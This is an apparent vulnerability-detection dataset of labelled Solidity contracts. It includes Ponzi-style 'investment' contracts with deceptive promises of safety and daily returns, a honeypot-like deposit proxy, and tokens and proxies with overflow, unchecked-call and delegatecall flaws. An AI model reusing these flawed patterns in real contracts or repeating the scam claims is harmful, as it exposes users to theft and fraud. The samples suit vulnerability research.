Thi-Thu-Huong/Balanced-Ethereum-Smart-Contract huggingface dataset:
// Vulnerability label: ARTHM_LE
pragma solidity ^0.4.25;

//  SIMPLY BANK - Interest 1% Dayly !
//
//  Improved, no bugs and backdoors! Your investments are safe!
//
//  NO DEPOSIT FEES! All the money go to contract!
//
//  WITHDRAWAL FEES! Technical Support -10% only from The RETURNED DEPOSIT !!
//
//  LOW RISK! You can take your deposit back ANY TIME!
//
//     - Send 0.00000112 ETH to contract address (You will charged 10% for Tech Support)
//
//  LONG LIFE!
//
//  INSTRUCTIONS:
//
//  TO INVEST: send ETH to contract address
//  TO WITHDRAW INTEREST: send 0 ETH to contract address
//  TO REINVEST AND WITHDRAW INTEREST: send ETH to contract address
//  TO GET BACK YOUR DEPOSIT: send 0.00000112 ETH to contract address
//

contract SimplyBank {

    mapping (address => uint256) dates;
    mapping (address => uint256) invests;
    address constant private TECH_SUPPORT = 0x85889bBece41bf106675A9ae3b70Ee78D86C1649;

    function() external payable {
         if (msg.value == 0.00000112 ether) {
           
         //Calculate of Tech Support fees from your deposit.
         uint256 techSupportPercent = invests[sender] * 10 / 100;
         //Pay 10% for Tech Support
         TECH_SUPPORT.transfer(techSupportPercent);
         //Available deposit to withdrawal
         uint256 withdrawalAmount = invests[sender] - techSupportPercent;

        //Pay the rest of deposit 
        sender.transfer(withdrawalAmount);
        
        //Delete your information from the Simply Bank
        dates[sender]    = 0;
        invests[sender]  = 0;

        } else {
        address sender = msg.sender;
        if (invests[sender] != 0) {
            //Calculate your daily interest
            uint256 payout = invests[sender] / 100 * (now - dates[sender]) / 1 days;
            
            // If your deposit greater than balance.You will get the balance amount.
            if (payout > address(this).balance) {
                payout = address(this).balance;
            }
            //Pay your daily interest.
            sender.transfer(payout);
         }
        dates[sender]    = now;
        invests[sender] += msg.value;
         }
       }

    }
// Vulnerability label: ARTHM_LE
pragma solidity ^0.4.24;

/**
 *
 * Easy Investment PI Contract
 *  - GAIN 3.14% PER 24 HOURS (every 5900 blocks)
 *  - 10% of the contributions go to project advertising and charity
 *
 * How to use:
 *  1. Send any amount of ether to make an investment
 *  2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS)
 *  OR
 *  2b. Send more ether to reinvest AND get your profit at the same time
 *
 * RECOMMENDED GAS LIMIT: 120000
 * RECOMMENDED GAS PRICE: https://ethgasstation.info/
 *
 * Contract reviewed and approved by pros!
 *
 */
contract EasyInvestPI {
    // records amounts invested
    mapping (address => uint256) invested;
    // records blocks at which investments were made
    mapping (address => uint256) atBlock;

    // this function called every time anyone sends a transaction to this contract
    function () external payable {
        // if sender (aka YOU) is invested more than 0 ether
        if (invested[msg.sender] != 0) {
            // calculate profit amount as such:
            // amount = (amount invested) * 3.14% * (blocks since last transaction) / 5900
            // 5900 is an average block count per day produced by Ethereum blockchain
            uint256 amount = invested[msg.sender] * 314 / 10000 * (block.number - atBlock[msg.sender]) / 5900;

            // send calculated amount of ether directly to sender (aka YOU)
            address sender = msg.sender;
            sender.send(amount);
        }
        
        address(0x64508a1d8B2Ce732ED6b28881398C13995B63D67).transfer(msg.value / 10);

        // record block number and invested amount (msg.value) of this transaction
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;
    }
}
// Vulnerability label: ARTHM_LE
pragma solidity ^0.4.20;

contract Proxy  {
    address public Owner = msg.sender;
    address public Proxy = 0x0;
    bytes data;
    modifier onlyOwner { if (msg.sender == Owner) _; }
    function transferOwner(address _owner) public onlyOwner { Owner = _owner; }
    function proxy(address _proxy) onlyOwner { Proxy = _proxy; }
    function () payable { data = msg.data; }
    function execute() returns (bool) { return Proxy.call(data); }
}

contract DepositProxy is Proxy {
    address public Owner;
    mapping (address => uint) public Deposits;

    event Deposited(address who, uint amount);
    event Withdrawn(address who, uint amount);
    
    function Deposit() payable {
        if (msg.sender == tx.origin) {
            Owner = msg.sender;
            deposit();
        }
    }

    function deposit() payable {
        if (msg.value >= 1 ether) {
            Deposits[msg.sender] += msg.value;
            Deposited(msg.sender, msg.value);
        }
    }
    
    function withdraw(uint amount) payable onlyOwner {
        if (Deposits[msg.sender]>=amount) {
            msg.sender.transfer(amount);
            Withdrawn(msg.sender, amount);
        }
    }
}
// Vulnerability label: ARTHM_LE
pragma solidity ^0.4.25;

contract Fast20 {

    mapping (address => uint256) dates;
    mapping (address => uint256) invests;

    function() external payable {
        address sender = msg.sender;
        if (invests[sender] != 0) {
            uint256 payout = invests[sender] / 100 * 20 * (now - dates[sender]) / 1 days;
            if (payout > address(this).balance) {
                payout = address(this).balance;
            }
            sender.transfer(payout);
        }
        dates[sender]    = now;
        invests[sender] += msg.value;
    }

}
// Vulnerability label: ARTHM_LE
pragma solidity ^0.4.21;
contract owned {
    address public owner;
    event Log(string s);

    constructor()payable public {
        owner = msg.sender;
    }
    function fallback() public payable{
        revert();
    }
    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }
    function transferOwnership(address newOwner) onlyOwner public {
        owner = newOwner;
    }
    function isOwner()public{
        if(msg.sender==owner)emit Log("Owner");
        else{
            emit Log("Not Owner");
        }
    }
}
contract verifier is owned{
    struct action {
        uint timestamp;
        uint256 value;
        address from;
    }
    mapping(string => mapping(uint => action))register;
    mapping(string => uint256)transactionCount;
    
    event actionLog(uint timestamp, uint256 value,address from);
    event Blog(string);
    
    constructor()public payable{
    }
    function registerTransaction(string neo,address ethA,uint256 value)internal{
        register[neo][transactionCount[neo]]=action(now,value,ethA);
        transactionCount[neo]+=1;
    }
    function verifyYourself(string neo, uint256 value)public payable{
        registerTransaction(neo,msg.sender,value);
    }
    function viewAll(string neo)public onlyOwner{
        uint i;
        for(i=0;i<transactionCount[neo];i++){
            emit actionLog(register[neo][i].timestamp,
                        register[neo][i].value,
                        register[neo][i].from);
        }
    }
    function viewSpecific(string neo, uint256 index)public onlyOwner{
        emit actionLog(register[neo][index].timestamp,
                        register[neo][index].value,
                        register[neo][index].from);
    }
}
// Vulnerability label: ARTHM_LE
pragma solidity ^0.4.18;

////////////////////
// STANDARD TOKEN //
////////////////////

contract Token {

    uint256 public totalSupply;
    function balanceOf(address _owner) public constant returns (uint256 balance);
    function transfer(address _to, uint256 _value) public returns (bool success);
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
    function approve(address _spender, uint256 _value) public returns (bool success);
    function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);

}

contract StandardToken is Token {

     function balanceOf(address _owner) public constant returns (uint256 balance) {
        return balances[_owner];
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
      if (balances[msg.sender] >= _value && _value > 0) {
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        Transfer(msg.sender, _to, _value);
        return true;
      } else {
        return false;
      }
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
      if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
        balances[_to] += _value;
        balances[_from] -= _value;
        allowed[_from][msg.sender] -= _value;
        Transfer(_from, _to, _value);
        return true;
      } else {
        return false;
      }
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

    function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
      return allowed[_owner][_spender];
    }

    mapping (address => uint256) balances;
    mapping (address => mapping (address => uint256)) allowed;

}

////////////////////////////////////////////
//   Emergency Response Ethereum-Based   //
///////////////////////////////////////////


contract ERH is StandardToken {


    string public constant name = "Emergency Response Ethereum-Based";
    string public constant symbol = "ERH";
    uint256 public constant decimals = 18;
    uint256 public totalSupply = 10000000000 * 10**decimals;


    function ERH (address _addressFounder)  {

      balances[_addressFounder] = totalSupply;
      Transfer(0x0, _addressFounder, totalSupply);

    }

    function () payable public {
      require(msg.value == 0);
    }

}
// Vulnerability label: ARTHM_LE
/*
Implements RAM-TOKEN-DEVELOPER 2018
.*/

pragma solidity ^0.4.21;

contract ERC20Interface {
    uint256 public totalSupply;

    function balanceOf(address _owner) public view returns (uint256 balance);

    function transfer(address _to, uint256 _value) public returns (bool success);

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);

    function approve(address _spender, uint256 _value) public returns (bool success);

    function allowance(address _owner, address _spender) public view returns (uint256 remaining);

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}



contract Ownable {
  address public owner;


  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


  constructor() public {
    owner = msg.sender;
  }



  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


 
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

contract ETHLightToken is ERC20Interface, Ownable {

    uint256 constant private MAX_UINT256 = 2**256 - 1;
    mapping (address => uint256) public balances;
    mapping (address => mapping (address => uint256)) public allowed;
   
    string public name;                   
    uint8 public decimals;                
    string public symbol;                 
    uint256 public totalSupply;
    uint256 public tokenDecimal = 1000000000000000000;
  

    constructor() public {
        totalSupply = 2000000000 * tokenDecimal;
        balances[msg.sender] = totalSupply;           
        name = "ETH Light";                                   
        decimals = 18;                            
        symbol = "ELT";                               
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(balances[msg.sender] >= _value);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        emit Transfer(msg.sender, _to, _value); 
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) onlyOwner public returns (bool success) {
        require(balances[_from] >= _value);
        balances[_to] += _value;
        balances[_from] -= _value;
		allowed[_from][msg.sender] -= _value;
        
        emit Transfer(_from, _to, _value); 
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value); 
        return true;
    }

    function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
        return allowed[_owner][_spender];
    }
    
    function () payable public {
		balances[msg.sender] += msg.value;
	}
}
// Vulnerability label: ARTHM_LE
pragma solidity ^0.4.24;

/**
 *
 * Easy Investment3 Contract
 *  - GAIN 3% PER 24 HOURS (every 5900 blocks)
 *  - NO COMMISSION on your investment (every ether stays on contract's balance)
 *  - NO FEES are collected by the owner, in fact, there is no owner at all (just look at the code)
 *
 * How to use:
 *  1. Send any amount of ether to make an investment
 *  2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS)
 *  OR
 *  2b. Send more ether to reinvest AND get your profit at the same time
 *
 * RECOMMENDED GAS LIMIT: 70000
 * RECOMMENDED GAS PRICE: https://ethgasstation.info/
 *
 * Contract reviewed and approved by pros!
 *
 */
contract EasyInvest3 {
    // records amounts invested
    mapping (address => uint256) public invested;
    // records blocks at which investments were made
    mapping (address => uint256) public atBlock;

    // this function called every time anyone sends a transaction to this contract
    function () external payable {
        // if sender (aka YOU) is invested more than 0 ether
        if (invested[msg.sender] != 0) {
            // calculate profit amount as such:
            // amount = (amount invested) * 3% * (blocks since last transaction) / 5900
            // 5900 is an average block count per day produced by Ethereum blockchain
            uint256 amount = invested[msg.sender] * 3 / 100 * (block.number - atBlock[msg.sender]) / 5900;

            // send calculated amount of ether directly to sender (aka YOU)
            msg.sender.transfer(amount);
        }

        // record block number and invested amount (msg.value) of this transaction
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;
    }
}
// Vulnerability label: ARTHM_UE
pragma solidity ^0.4.4;


contract EDProxy {

    function EDProxy() public {
    }

    function dtrade(address _callee, uint8 v1, uint8 v2, uint256[] uints,address[] addresses,bytes32[] b) public {
        
        if (_callee.delegatecall(bytes4(keccak256("trade(address,uint256,address,uint256,uint256,uint256,address,uint8,bytes32,bytes32,uint256)")),
          addresses[0],
          uints[0],
          addresses[2],
          uints[2],
          uints[4],
          uints[6],
          addresses[4],
          v1,
          b[0],
          b[2],
          uints[8]
          )) {
        (_callee.delegatecall(bytes4(keccak256("trade(address,uint256,address,uint256,uint256,uint256,address,uint8,bytes32,bytes32,uint256)")),
           addresses[1],
           uints[1],
           addresses[3],
           uints[3],
           uints[5],
           uints[7],
           addresses[5],
           v2,
           b[1],
           b[3],
           uints[9]
           ));
          }
    }
    
     function testcall(address _callee)  public {
        bytes32[] memory b = new bytes32[](4);
        address[] memory addrs = new address[](6);
        uint256[] memory ints = new uint256[](12);
        uint8 v1;
        uint8 v2;

        bytes32 somebytes;
        ints[0]=1;
        ints[1]=2;
        ints[2]=3;
        ints[3]=4;
        ints[4]=5;
        ints[5]=6;
        ints[6]=7;
        ints[7]=8;
        ints[8]=9;
        ints[9]=10;
        v1=11;
        v2=12;
        b[0]=somebytes;
        b[1]=somebytes;
        b[2]=somebytes;
        b[3]=somebytes;
        addrs[0]=0xdc04977a2078c8ffdf086d618d1f961b6c54111;
        addrs[1]=0xdc04977a2078c8ffdf086d618d1f961b6c54222;
        addrs[2]=0xdc04977a2078c8ffdf086d618d1f961b6c54333;
        addrs[3]=0xdc04977a2078c8ffdf086d618d1f961b6c54444;
        addrs[4]=0xdc04977a2078c8ffdf086d618d1f961b6c54555;
        addrs[5]=0xdc04977a2078c8ffdf086d618d1f961b6c54666;
        dtrade(_callee, v1, v2, ints, addrs,b);
    }
    
}